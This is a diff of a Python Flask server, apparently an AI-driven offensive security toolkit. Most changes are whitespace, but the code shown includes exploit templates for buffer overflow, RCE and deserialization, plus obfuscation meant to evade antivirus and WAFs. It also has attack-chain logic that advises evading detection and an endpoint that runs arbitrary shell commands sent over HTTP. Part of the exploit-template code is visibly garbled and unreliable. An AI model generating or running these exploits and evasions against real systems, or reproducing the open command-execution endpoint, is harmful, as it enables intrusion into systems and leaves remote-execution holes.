bool, execution_time: float): """Record command execution statistics""" self.stats["commands_executed"] += 1 @@ -6094,7 +6094,7 @@ class TelemetryCollector: else: self.stats["failed_commands"] += 1 self.stats["total_execution_time"] += execution_time - + def get_system_metrics(self) -> Dict[str, Any]: """Get current system metrics""" return { @@ -6103,13 +6103,13 @@ class TelemetryCollector: "disk_usage": psutil.disk_usage('/').percent, "network_io": psutil.net_io_counters()._asdict() if psutil.net_io_counters() else {} } - + def get_stats(self) -> Dict[str, Any]: """Get telemetry statistics""" uptime = time.time() - self.stats["start_time"] success_rate = (self.stats["successful_commands"] / self.stats["commands_executed"] * 100) if self.stats["commands_executed"] > 0 else 0 avg_execution_time = (self.stats["total_execution_time"] / self.stats["commands_executed"]) if self.stats["commands_executed"] > 0 else 0 - + return { "uptime_seconds": uptime, "commands_executed": self.stats["commands_executed"], @@ -6123,7 +6123,7 @@ telemetry = TelemetryCollector() class EnhancedCommandExecutor: """Enhanced command executor with caching, progress tracking, and better output handling""" - + def __init__(self, command: str, timeout: int = COMMAND_TIMEOUT): self.command = command self.timeout = timeout @@ -6136,7 +6136,7 @@ class EnhancedCommandExecutor: self.timed_out = False self.start_time = None self.end_time = None - + def _read_stdout(self): """Thread function to continuously read and display stdout""" try: @@ -6147,7 +6147,7 @@ class EnhancedCommandExecutor: logger.info(f"๐Ÿ“ค STDOUT: {line.strip()}") except Exception as e: logger.error(f"Error reading stdout: {e}") - + def _read_stderr(self): """Thread function to continuously read and display stderr""" try: @@ -6158,7 +6158,7 @@ class EnhancedCommandExecutor: logger.warning(f"๐Ÿ“ฅ STDERR: {line.strip()}") except Exception as e: logger.error(f"Error reading stderr: {e}") - + def _show_progress(self, duration: float): """Show enhanced progress indication for long-running commands""" if duration > 2: # Show progress for commands taking more than 2 seconds @@ -6168,20 +6168,20 @@ class EnhancedCommandExecutor: while self.process and self.process.poll() is None: elapsed = time.time() - start char = progress_chars[i % len(progress_chars)] - + # Calculate progress percentage (rough estimate) progress_percent = min((elapsed / self.timeout) * 100, 99.9) progress_fraction = progress_percent / 100 - + # Calculate ETA eta = 0 if progress_percent > 5: # Only show ETA after 5% progress eta = ((elapsed / progress_percent) * 100) - elapsed - + # Calculate speed bytes_processed = len(self.stdout_data) + len(self.stderr_data) speed = f"{bytes_processed/elapsed:.0f} B/s" if elapsed > 0 else "0 B/s" - + # Update process manager with progress ProcessManager.update_process_progress( self.process.pid, @@ -6189,30 +6189,30 @@ class EnhancedCommandExecutor: f"Running for {elapsed:.1f}s", bytes_processed ) - + # Create beautiful progress bar using ModernVisualEngine progress_bar = ModernVisualEngine.render_progress_bar( - progress_fraction, - width=30, + progress_fraction, + width=30, style='cyber', label=f"โšก PROGRESS {char}", eta=eta, speed=speed ) - + logger.info(f"{progress_bar} | {elapsed:.1f}s | PID: {self.process.pid}") time.sleep(0.8) i += 1 if elapsed > self.timeout: break - + def execute(self) -> Dict[str, Any]: """Execute the command with enhanced monitoring and output""" self.start_time = time.time() - + logger.info(f"๐Ÿš€ EXECUTING: {self.command}") logger.info(f"โฑ๏ธ TIMEOUT: {self.timeout}s | PID: Starting...") - + try: self.process = subprocess.Popen( self.command, @@ -6222,13 +6222,13 @@ class EnhancedCommandExecutor: text=True, bufsize=1 ) - + pid = self.process.pid logger.info(f"๐Ÿ†” PROCESS: PID {pid} started") - + # Register process with ProcessManager (v5.0 enhancement) ProcessManager.register_process(pid, self.command, self.process) - + # Start threads to read output continuously self.stdout_thread = threading.Thread(target=self._read_stdout) self.stderr_thread = threading.Thread(target=self._read_stderr) @@ -6236,41 +6236,41 @@ class EnhancedCommandExecutor: self.stderr_thread.daemon = True self.stdout_thread.start() self.stderr_thread.start() - + # Start progress tracking in a separate thread progress_thread = threading.Thread(target=self._show_progress, args=(self.timeout,)) progress_thread.daemon = True progress_thread.start() - + # Wait for the process to complete or timeout try: self.return_code = self.process.wait(timeout=self.timeout) self.end_time = time.time() - + # Process completed, join the threads self.stdout_thread.join(timeout=1) self.stderr_thread.join(timeout=1) - + execution_time = self.end_time - self.start_time - + # Cleanup process from registry (v5.0 enhancement) ProcessManager.cleanup_process(pid) - + if self.return_code == 0: logger.info(f"โœ… SUCCESS: Command completed | Exit Code: {self.return_code} | Duration: {execution_time:.2f}s") telemetry.record_execution(True, execution_time) else: logger.warning(f"โš ๏ธ WARNING: Command completed with errors | Exit Code: {self.return_code} | Duration: {execution_time:.2f}s") telemetry.record_execution(False, execution_time) - + except subprocess.TimeoutExpired: self.end_time = time.time() execution_time = self.end_time - self.start_time - + # Process timed out but we might have partial results self.timed_out = True logger.warning(f"โฐ TIMEOUT: Command timed out after {self.timeout}s | Terminating PID {self.process.pid}") - + # Try to terminate gracefully first self.process.terminate() try: @@ -6279,22 +6279,22 @@ class EnhancedCommandExecutor: # Force kill if it doesn't terminate logger.error(f"๐Ÿ”ช FORCE KILL: Process {self.process.pid} not responding to termination") self.process.kill() - + self.return_code = -1 telemetry.record_execution(False, execution_time) - + # Always consider it a success if we have output, even with timeout success = True if self.timed_out and (self.stdout_data or self.stderr_data) else (self.return_code == 0) - + # Log enhanced final results with summary using ModernVisualEngine output_size = len(self.stdout_data) + len(self.stderr_data) execution_time = self.end_time - self.start_time if self.end_time else 0 - + # Create status summary status_icon = "โœ…" if success else "โŒ" status_color = ModernVisualEngine.COLORS['MATRIX_GREEN'] if success else ModernVisualEngine.COLORS['HACKER_RED'] timeout_status = f" {ModernVisualEngine.COLORS['WARNING']}[TIMEOUT]{ModernVisualEngine.COLORS['RESET']}" if self.timed_out else "" - + # Create beautiful results summary results_summary = f""" {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ{ModernVisualEngine.COLORS['RESET']} @@ -6307,12 +6307,12 @@ class EnhancedCommandExecutor: {ModernVisualEngine.COLORS['BOLD']}โ”‚{ModernVisualEngine.COLORS['RESET']} {status_color}๐Ÿ“ˆ Status:{ModernVisualEngine.COLORS['RESET']} {'SUCCESS' if success else 'FAILED'} | Cached: Yes {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ{ModernVisualEngine.COLORS['RESET']} """ - + # Log the beautiful summary for line in results_summary.strip().split('\n'): if line.strip(): logger.info(line) - + return { "stdout": self.stdout_data, "stderr": self.stderr_data, @@ -6323,15 +6323,15 @@ class EnhancedCommandExecutor: "execution_time": self.end_time - self.start_time if self.end_time else 0, "timestamp": datetime.now().isoformat() } - + except Exception as e: self.end_time = time.time() execution_time = self.end_time - self.start_time if self.start_time else 0 - + logger.error(f"๐Ÿ’ฅ ERROR: Command execution failed: {str(e)}") logger.error(f"๐Ÿ” TRACEBACK: {traceback.format_exc()}") telemetry.record_execution(False, execution_time) - + return { "stdout": self.stdout_data, "stderr": f"Error executing command: {str(e)}\n{self.stderr_data}", @@ -6350,24 +6350,24 @@ class EnhancedCommandExecutor: # ============================================================================ # AI-POWERED EXPLOIT GENERATION SYSTEM (v6.0 ENHANCEMENT) # ============================================================================ -# +# # This section contains advanced AI-powered exploit generation capabilities # for automated vulnerability exploitation and proof-of-concept development. -# +# # Features: # - Automated exploit template generation from CVE data # - Multi-architecture support (x86, x64, ARM) # - Evasion technique integration # - Custom payload generation # - Exploit effectiveness scoring -# +# # ============================================================================ class AIExploitGenerator: """AI-powered exploit development and enhancement system""" - + def __init__(self): # Extend existing payload templates self.exploit_templates = { @@ -6384,15 +6384,15 @@ def create_exploit(): # Vulnerability details from {cve_id} target_ip = "{target_ip}" target_port = {target_port} - + # Buffer overflow payload padding = "A" * {offset} eip_control = struct.pack(" ") sys.exit(1) - + result = exploit_rce(sys.argv[1], sys.argv[2]) if result: print("Exploit successful!") @@ -6482,43 +6482,43 @@ def create_malicious_payload(command): def send_exploit(target_url, command): payload = create_malicious_payload(command) - + data = {{ "{parameter_name}": payload }} - + response = requests.post(target_url, data=data) return response.text """ } - + self.evasion_techniques = { "encoding": ["url", "base64", "hex", "unicode"], "obfuscation": ["variable_renaming", "string_splitting", "comment_injection"], "av_evasion": ["encryption", "packing", "metamorphism"], "waf_bypass": ["case_variation", "parameter_pollution", "header_manipulation"] } - + def generate_exploit_from_cve(self, cve_data, target_info): """Generate working exploit from CVE data""" try: cve_id = cve_data.get("cve_id", "") description = cve_data.get("description", "").lower() - + # Determine vulnerability type vuln_type = self._classify_vulnerability(description) exploit_template = self._select_template(vuln_type, target_info) - + # Generate exploit parameters exploit_params = self._generate_exploit_parameters(cve_data, target_info, vuln_type) - + # Fill template with parameters exploit_code = exploit_template.format(**exploit_params) - + # Apply evasion techniques if requested if target_info.get("evasion_level", "none") != "none": exploit_code = self._apply_evasion_techniques(exploit_code, target_info) - + return { "success": True, "cve_id": cve_id, @@ -6528,11 +6528,11 @@ def send_exploit(target_url, command): "instructions": self._generate_usage_instructions(vuln_type, exploit_params), "evasion_applied": target_info.get("evasion_level", "none") } - + except Exception as e: logger.error(f"Error generating exploit: {str(e)}") return {"success": False, "error": str(e)} - + def _classify_vulnerability(self, description): """Classify vulnerability type from description""" if any(keyword in description for keyword in ["buffer overflow", "heap overflow", "stack overflow"]): @@ -6547,7 +6547,7 @@ def send_exploit(target_url, command): return "xss" else: return "generic" - + def _select_template(self, vuln_type, target_info): """Select appropriate exploit template""" if vuln_type == "buffer_overflow": @@ -6558,7 +6558,7 @@ def send_exploit(target_url, command): return self.exploit_templates[vuln_type] else: return "# Generic exploit template for {cve_id}\n# Manual development required" - + def _generate_exploit_parameters(self, cve_data, target_info, vuln_type): """Generate parameters for exploit template""" params = { @@ -6568,7 +6568,7 @@ def send_exploit(target_url, command): "target_port": target_info.get("target_port", 80), "command": target_info.get("command", "id"), } - + if vuln_type == "buffer_overflow": params.update({ "offset": target_info.get("offset", 268), @@ -6584,13 +6584,13 @@ def send_exploit(target_url, command): "injection_payload": target_info.get("injection_payload", '{"cmd": command}'), "parameter_name": target_info.get("parameter_name", "data") }) - + return params - + def _apply_evasion_techniques(self, exploit_code, target_info): """Apply evasion techniques to exploit code""" evasion_level = target_info.get("evasion_level", "basic") - + if evasion_level == "basic": # Simple string obfuscation exploit_code = exploit_code.replace('"', "'") @@ -6598,9 +6598,9 @@ def send_exploit(target_url, command): elif evasion_level == "advanced": # Advanced obfuscation exploit_code = self._advanced_obfuscation(exploit_code) - + return exploit_code - + def _advanced_obfuscation(self, code): """Apply advanced obfuscation techniques""" # This is a simplified version - real implementation would be more sophisticated @@ -6610,7 +6610,7 @@ import base64 exec(base64.b64decode('{base64.b64encode(code.encode()).decode()}')) """ return obfuscated - + def _generate_usage_instructions(self, vuln_type, params): """Generate usage instructions for the exploit""" instructions = [ @@ -6626,7 +6626,7 @@ exec(base64.b64decode('{base64.b64encode(code.encode()).decode()}')) "## Testing:", f"python3 exploit.py {params.get('target_ip', '')} {params.get('target_port', '')}" ] - + if vuln_type == "buffer_overflow": instructions.extend([ "", @@ -6636,12 +6636,12 @@ exec(base64.b64decode('{base64.b64encode(code.encode()).decode()}')) "- Verify addresses match target binary", "- Disable ASLR for testing: echo 0 > /proc/sys/kernel/randomize_va_space" ]) - + return "\n".join(instructions) class VulnerabilityCorrelator: """Correlate vulnerabilities for multi-stage attack chain discovery""" - + def __init__(self): self.attack_patterns = { "privilege_escalation": ["local", "kernel", "suid", "sudo"], @@ -6650,28 +6650,28 @@ class VulnerabilityCorrelator: "lateral_movement": ["smb", "wmi", "ssh", "rdp"], "data_exfiltration": ["file", "database", "memory", "network"] } - + self.software_relationships = { "windows": ["iis", "office", "exchange", "sharepoint"], "linux": ["apache", "nginx", "mysql", "postgresql"], "web": ["php", "nodejs", "python", "java"], "database": ["mysql", "postgresql", "oracle", "mssql"] } - + def find_attack_chains(self, target_software, max_depth=3): """Find multi-vulnerability attack chains""" try: # This is a simplified implementation # Real version would use graph algorithms and ML - + chains = [] - + # Example attack chain discovery logic base_software = target_software.lower() - + # Find initial access vulnerabilities initial_vulns = self._find_vulnerabilities_by_pattern(base_software, "remote_execution") - + for initial_vuln in initial_vulns[:3]: # Limit for demo chain = { "chain_id": f"chain_{len(chains) + 1}", @@ -6687,7 +6687,7 @@ class VulnerabilityCorrelator: "overall_probability": 0.75, "complexity": "MEDIUM" } - + # Find privilege escalation priv_esc_vulns = self._find_vulnerabilities_by_pattern(base_software, "privilege_escalation") if priv_esc_vulns: @@ -6698,7 +6698,7 @@ class VulnerabilityCorrelator: "success_probability": 0.60 }) chain["overall_probability"] *= 0.60 - + # Find persistence persistence_vulns = self._find_vulnerabilities_by_pattern(base_software, "persistence") if persistence_vulns and len(chain["stages"]) < max_depth: @@ -6709,9 +6709,9 @@ class VulnerabilityCorrelator: "success_probability": 0.80 }) chain["overall_probability"] *= 0.80 - + chains.append(chain) - + return { "success": True, "target_software": target_software, @@ -6719,11 +6719,11 @@ class VulnerabilityCorrelator: "attack_chains": chains, "recommendation": self._generate_chain_recommendations(chains) } - + except Exception as e: logger.error(f"Error finding attack chains: {str(e)}") return {"success": False, "error": str(e)} - + def _find_vulnerabilities_by_pattern(self, software, pattern_type): """Find vulnerabilities matching attack pattern""" # Simplified mock data - real implementation would query CVE database @@ -6741,14 +6741,14 @@ class VulnerabilityCorrelator: "exploitability": "MEDIUM" } ] - + return mock_vulnerabilities - + def _generate_chain_recommendations(self, chains): """Generate recommendations for attack chains""" if not chains: return "No viable attack chains found for target" - + recommendations = [ f"Found {len(chains)} potential attack chains", f"Highest probability chain: {max(chains, key=lambda x: x['overall_probability'])['overall_probability']:.2%}", @@ -6757,7 +6757,7 @@ class VulnerabilityCorrelator: "- Prepare fallback methods for each stage", "- Consider detection evasion at each stage" ] - + return "\n".join(recommendations) # Global intelligence managers @@ -6768,60 +6768,60 @@ vulnerability_correlator = VulnerabilityCorrelator() def execute_command(command: str, use_cache: bool = True) -> Dict[str, Any]: """ Execute a shell command with enhanced features - + Args: command: The command to execute use_cache: Whether to use caching for this command - + Returns: A dictionary containing the stdout, stderr, return code, and metadata """ - + # Check cache first if use_cache: cached_result = cache.get(command, {}) if cached_result: return cached_result - + # Execute command executor = EnhancedCommandExecutor(command) result = executor.execute() - + # Cache successful results if use_cache and result.get("success", False): cache.set(command, {}, result) - + return result -def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict[str, Any] = None, +def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict[str, Any] = None, use_cache: bool = True, max_attempts: int = 3) -> Dict[str, Any]: """ Execute a command with intelligent error handling and recovery - + Args: tool_name: Name of the tool being executed command: The command to execute parameters: Tool parameters for context use_cache: Whether to use caching max_attempts: Maximum number of recovery attempts - + Returns: A dictionary containing execution results with recovery information """ if parameters is None: parameters = {} - + attempt_count = 0 last_error = None recovery_history = [] - + while attempt_count < max_attempts: attempt_count += 1 - + try: # Execute the command result = execute_command(command, use_cache) - + # Check if execution was successful if result.get("success", False): # Add recovery information to successful result @@ -6831,11 +6831,11 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict "recovery_history": recovery_history } return result - + # Command failed, determine if we should attempt recovery error_message = result.get("stderr", "Unknown error") exception = Exception(error_message) - + # Create context for error handler context = { "target": parameters.get("target", "unknown"), @@ -6843,7 +6843,7 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict "attempt_count": attempt_count, "command": command } - + # Get recovery strategy from error handler recovery_strategy = error_handler.handle_tool_failure(tool_name, exception, context) recovery_history.append({ @@ -6852,35 +6852,35 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict "recovery_action": recovery_strategy.action.value, "timestamp": datetime.now().isoformat() }) - + # Apply recovery strategy if recovery_strategy.action == RecoveryAction.RETRY_WITH_BACKOFF: delay = recovery_strategy.parameters.get("initial_delay", 5) backoff = recovery_strategy.parameters.get("max_delay", 60) actual_delay = min(delay * (recovery_strategy.backoff_multiplier ** (attempt_count - 1)), backoff) - + retry_info = f'Retrying in {actual_delay}s (attempt {attempt_count}/{max_attempts})' logger.info(f"{ModernVisualEngine.format_tool_status(tool_name, 'RECOVERY', retry_info)}") time.sleep(actual_delay) continue - + elif recovery_strategy.action == RecoveryAction.RETRY_WITH_REDUCED_SCOPE: # Adjust parameters to reduce scope adjusted_params = error_handler.auto_adjust_parameters( - tool_name, + tool_name, error_handler.classify_error(error_message, exception), parameters ) - + # Rebuild command with adjusted parameters command = _rebuild_command_with_params(tool_name, command, adjusted_params) logger.info(f"๐Ÿ”ง Retrying {tool_name} with reduced scope") continue - + elif recovery_strategy.action == RecoveryAction.SWITCH_TO_ALTERNATIVE_TOOL: # Get alternative tool alternative_tool = error_handler.get_alternative_tool(tool_name, recovery_strategy.parameters) - + if alternative_tool: switch_info = f'Switching to alternative: {alternative_tool}' logger.info(f"{ModernVisualEngine.format_tool_status(tool_name, 'RECOVERY', switch_info)}") @@ -6895,17 +6895,17 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict return result else: logger.warning(f"โš ๏ธ No alternative tool found for {tool_name}") - + elif recovery_strategy.action == RecoveryAction.ADJUST_PARAMETERS: # Adjust parameters based on error type error_type = error_handler.classify_error(error_message, exception) adjusted_params = error_handler.auto_adjust_parameters(tool_name, error_type, parameters) - + # Rebuild command with adjusted parameters command = _rebuild_command_with_params(tool_name, command, adjusted_params) logger.info(f"๐Ÿ”ง Retrying {tool_name} with adjusted parameters") continue - + elif recovery_strategy.action == RecoveryAction.ESCALATE_TO_HUMAN: # Create error context for escalation error_context = ErrorContext( @@ -6919,12 +6919,12 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict stack_trace="", system_resources=error_handler._get_system_resources() ) - + escalation_data = error_handler.escalate_to_human( - error_context, + error_context, recovery_strategy.parameters.get("urgency", "medium") ) - + result["human_escalation"] = escalation_data result["recovery_info"] = { "attempts_made": attempt_count, @@ -6933,16 +6933,16 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict "final_action": "human_escalation" } return result - + elif recovery_strategy.action == RecoveryAction.GRACEFUL_DEGRADATION: # Apply graceful degradation operation = _determine_operation_type(tool_name) degraded_result = degradation_manager.handle_partial_failure( - operation, - result, + operation, + result, [tool_name] ) - + degraded_result["recovery_info"] = { "attempts_made": attempt_count, "recovery_applied": True, @@ -6950,7 +6950,7 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict "final_action": "graceful_degradation" } return degraded_result - + elif recovery_strategy.action == RecoveryAction.ABORT_OPERATION: logger.error(f"๐Ÿ›‘ Aborting {tool_name} operation after {attempt_count} attempts") result["recovery_info"] = { @@ -6960,13 +6960,13 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict "final_action": "operation_aborted" } return result - + last_error = exception - + except Exception as e: last_error = e logger.error(f"๐Ÿ’ฅ Unexpected error in recovery attempt {attempt_count}: {str(e)}") - + # If this is the last attempt, escalate to human if attempt_count >= max_attempts: error_context = ErrorContext( @@ -6980,9 +6980,9 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict stack_trace=traceback.format_exc(), system_resources=error_handler._get_system_resources() ) - + escalation_data = error_handler.escalate_to_human(error_context, "high") - + return { "success": False, "error": str(e), @@ -6994,7 +6994,7 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict "final_action": "human_escalation_after_failure" } } - + # All attempts exhausted logger.error(f"๐Ÿšซ All recovery attempts exhausted for {tool_name}") return { @@ -7013,7 +7013,7 @@ def _rebuild_command_with_params(tool_name: str, original_command: str, new_para # This is a simplified implementation - in practice, you'd need tool-specific logic # For now, we'll just append new parameters additional_args = [] - + for key, value in new_params.items(): if key == "timeout" and tool_name in ["nmap", "gobuster", "nuclei"]: additional_args.append(f"--timeout {value}") @@ -7027,17 +7027,17 @@ def _rebuild_command_with_params(tool_name: str, original_command: str, new_para additional_args.append(f"-c {value}") elif key == "rate-limit" and tool_name == "nuclei": additional_args.append(f"-rl {value}") - + if additional_args: return f"{original_command} {' '.join(additional_args)}" - + return original_command def _determine_operation_type(tool_name: str) -> str: """Determine operation type based on tool name""" operation_mapping = { "nmap": "network_discovery", - "rustscan": "network_discovery", + "rustscan": "network_discovery", "masscan": "network_discovery", "gobuster": "web_discovery", "feroxbuster": "web_discovery", @@ -7053,85 +7053,85 @@ def _determine_operation_type(tool_name: str) -> str: "paramspider": "parameter_discovery", "x8": "parameter_discovery" } - + return operation_mapping.get(tool_name, "unknown_operation") # File Operations Manager class FileOperationsManager: """Handle file operations with security and validation""" - + def __init__(self, base_dir: str = "/tmp/hexstrike_files"): self.base_dir = Path(base_dir) self.base_dir.mkdir(exist_ok=True) self.max_file_size = 100 * 1024 * 1024 # 100MB - + def create_file(self, filename: str, content: str, binary: bool = False) -> Dict[str, Any]: """Create a file with the specified content""" try: file_path = self.base_dir / filename file_path.parent.mkdir(parents=True, exist_ok=True) - + if len(content.encode()) > self.max_file_size: return {"success": False, "error": f"File size exceeds {self.max_file_size} bytes"} - + mode = "wb" if binary else "w" with open(file_path, mode) as f: if binary: f.write(content.encode() if isinstance(content, str) else content) else: f.write(content) - + logger.info(f"๐Ÿ“„ Created file: {filename} ({len(content)} bytes)") return {"success": True, "path": str(file_path), "size": len(content)} - + except Exception as e: logger.error(f"โŒ Error creating file {filename}: {e}") return {"success": False, "error": str(e)} - + def modify_file(self, filename: str, content: str, append: bool = False) -> Dict[str, Any]: """Modify an existing file""" try: file_path = self.base_dir / filename if not file_path.exists(): return {"success": False, "error": "File does not exist"} - + mode = "a" if append else "w" with open(file_path, mode) as f: f.write(content) - + logger.info(f"โœ๏ธ Modified file: {filename}") return {"success": True, "path": str(file_path)} - + except Exception as e: logger.error(f"โŒ Error modifying file {filename}: {e}") return {"success": False, "error": str(e)} - + def delete_file(self, filename: str) -> Dict[str, Any]: """Delete a file or directory""" try: file_path = self.base_dir / filename if not file_path.exists(): return {"success": False, "error": "File does not exist"} - + if file_path.is_dir(): shutil.rmtree(file_path) else: file_path.unlink() - + logger.info(f"๐Ÿ—‘๏ธ Deleted: {filename}") return {"success": True} - + except Exception as e: logger.error(f"โŒ Error deleting {filename}: {e}") return {"success": False, "error": str(e)} - + def list_files(self, directory: str = ".") -> Dict[str, Any]: """List files in a directory""" try: dir_path = self.base_dir / directory if not dir_path.exists(): return {"success": False, "error": "Directory does not exist"} - + files = [] for item in dir_path.iterdir(): files.append({ @@ -7140,9 +7140,9 @@ class FileOperationsManager: "size": item.stat().st_size if item.is_file() else 0, "modified": datetime.fromtimestamp(item.stat().st_mtime).isoformat() }) - + return {"success": True, "files": files} - + except Exception as e: logger.error(f"โŒ Error listing files in {directory}: {e}") return {"success": False, "error": str(e)} @@ -7155,87 +7155,87 @@ file_manager = FileOperationsManager() @app.route("/health", methods=["GET"]) def health_check(): """Health check endpoint with comprehensive tool detection""" - + essential_tools = [ "nmap", "gobuster", "dirb", "nikto", "sqlmap", "hydra", "john", "hashcat" ] - + network_tools = [ "rustscan", "masscan", "autorecon", "nbtscan", "arp-scan", "responder", "nxc", "enum4linux-ng", "rpcclient", "enum4linux" ] - + web_security_tools = [ "ffuf", "feroxbuster", "dirsearch", "dotdotpwn", "xsser", "wfuzz", "gau", "waybackurls", "arjun", "paramspider", "x8", "jaeles", "dalfox", "httpx", "wafw00f", "burpsuite", "zaproxy", "katana", "hakrawler" ] - + vuln_scanning_tools = [ "nuclei", "wpscan", "graphql-scanner", "jwt-analyzer" ] - + password_tools = [ "medusa", "patator", "hash-identifier", "ophcrack", "hashcat-utils" ] - + binary_tools = [ "gdb", "radare2", "binwalk", "ropgadget", "checksec", "objdump", "ghidra", "pwntools", "one-gadget", "ropper", "angr", "libc-database", "pwninit" ] - + forensics_tools = [ "volatility3", "vol", "steghide", "hashpump", "foremost", "exiftool", "strings", "xxd", "file", "photorec", "testdisk", "scalpel", "bulk-extractor", "stegsolve", "zsteg", "outguess" ] - + cloud_tools = [ "prowler", "scout-suite", "trivy", "kube-hunter", "kube-bench", "docker-bench-security", "checkov", "terrascan", "falco", "clair" ] - + osint_tools = [ "amass", "subfinder", "fierce", "dnsenum", "theharvester", "sherlock", "social-analyzer", "recon-ng", "maltego", "spiderfoot", "shodan-cli", "censys-cli", "have-i-been-pwned" ] - + exploitation_tools = [ "metasploit", "exploit-db", "searchsploit" ] - + api_tools = [ "api-schema-analyzer", "postman", "insomnia", "curl", "httpie", "anew", "qsreplace", "uro" ] - + wireless_tools = [ "kismet", "wireshark", "tshark", "tcpdump" ] - + additional_tools = [ "smbmap", "volatility", "sleuthkit", "autopsy", "evil-winrm", "paramspider", "airmon-ng", "airodump-ng", "aireplay-ng", "aircrack-ng", "msfvenom", "msfconsole", "graphql-scanner", "jwt-analyzer" ] - + all_tools = ( essential_tools + network_tools + web_security_tools + vuln_scanning_tools + password_tools + binary_tools + forensics_tools + cloud_tools + osint_tools + exploitation_tools + api_tools + wireless_tools + additional_tools ) tools_status = {} - + for tool in all_tools: try: result = execute_command(f"which {tool}", use_cache=True) tools_status[tool] = result["success"] except: tools_status[tool] = False - + all_essential_tools_available = all(tools_status[tool] for tool in essential_tools) - + category_stats = { "essential": {"total": len(essential_tools), "available": sum(1 for tool in essential_tools if tools_status.get(tool, False))}, "network": {"total": len(network_tools), "available": sum(1 for tool in network_tools if tools_status.get(tool, False))}, @@ -7251,7 +7251,7 @@ def health_check(): "wireless": {"total": len(wireless_tools), "available": sum(1 for tool in wireless_tools if tools_status.get(tool, False))}, "additional": {"total": len(additional_tools), "available": sum(1 for tool in additional_tools if tools_status.get(tool, False))} } - + return jsonify({ "status": "healthy", "message": "HexStrike AI Tools API Server is operational", @@ -7273,13 +7273,13 @@ def generic_command(): params = request.json command = params.get("command", "") use_cache = params.get("use_cache", True) - + if not command: logger.warning("โš ๏ธ Command endpoint called without command parameter") return jsonify({ "error": "Command parameter is required" }), 400 - + result = execute_command(command, use_cache=use_cache) return jsonify(result) except Exception as e: @@ -7299,10 +7299,10 @@ def create_file(): filename = params.get("filename", "") content = params.get("content", "") binary = params.get("binary", False) - + if not filename: return jsonify({"error": "Filename is required"}), 400 - + result = file_manager.create_file(filename, content, binary) return jsonify(result) except Exception as e: @@ -7317,10 +7317,10 @@ def modify_file(): filename = params.get("filename", "") content = params.get("content", "") append = params.get("append", False) - + if not filename: return jsonify({"error": "Filename is required"}), 400 - + result = file_manager.modify_file(filename, content, append) return jsonify(result) except Exception as e: @@ -7333,10 +7333,10 @@ def delete_file(): try: params = request.json filename = params.get("filename", "") - + if not filename: return jsonify({"error": "Filename is required"}), 400 - + result = file_manager.delete_file(filename) return jsonify(result) except Exception as e: @@ -7364,10 +7364,10 @@ def generate_payload(): size = params.get("size", 1024) pattern = params.get("pattern", "A") filename = params.get("filename", f"payload_{int(time.time())}") - + if size > 100 * 1024 * 1024: # 100MB limit return jsonify({"error": "Payload size too large (max 100MB)"}), 400 - + if payload_type == "buffer": content = pattern * (size // len(pattern)) elif payload_type == "cyclic": @@ -7382,14 +7382,14 @@ def generate_payload(): content = ''.join(random.choices(string.ascii_letters + string.digits, k=size)) else: return jsonify({"error": "Invalid payload type"}), 400 - + result = file_manager.create_file(filename, content) result["payload_info"] = { "type": payload_type, "size": size, "pattern": pattern } - + logger.info(f"๐ŸŽฏ Generated {payload_type} payload: {filename} ({size} bytes)") return jsonify(result) except Exception as e: @@ -7425,18 +7425,18 @@ def list_processes(): """List all active processes""" try: processes = ProcessManager.list_active_processes() - + # Add calculated fields for each process for pid, info in processes.items(): runtime = time.time() - info["start_time"] info["runtime_formatted"] = f"{runtime:.1f}s" - + if info["progress"] > 0: eta = (runtime / info["progress"]) * (1.0 - info["progress"]) info["eta_formatted"] = f"{eta:.1f}s" else: info["eta_formatted"] = "Unknown" - + return jsonify({ "success": True, "active_processes": processes, @@ -7451,18 +7451,18 @@ def get_process_status(pid): """Get status of a specific process""" try: process_info = ProcessManager.get_process_status(pid) - + if process_info: # Add calculated fields runtime = time.time() - process_info["start_time"] process_info["runtime_formatted"] = f"{runtime:.1f}s" - + if process_info["progress"] > 0: eta = (runtime / process_info["progress"]) * (1.0 - process_info["progress"]) process_info["eta_formatted"] = f"{eta:.1f}s" else: process_info["eta_formatted"] = "Unknown" - + return jsonify({ "success": True, "process": process_info @@ -7472,7 +7472,7 @@ def get_process_status(pid): "success": False, "error": f"Process {pid} not found" }), 404 - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error getting process status: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7482,7 +7482,7 @@ def terminate_process(pid): """Terminate a specific process""" try: success = ProcessManager.terminate_process(pid) - + 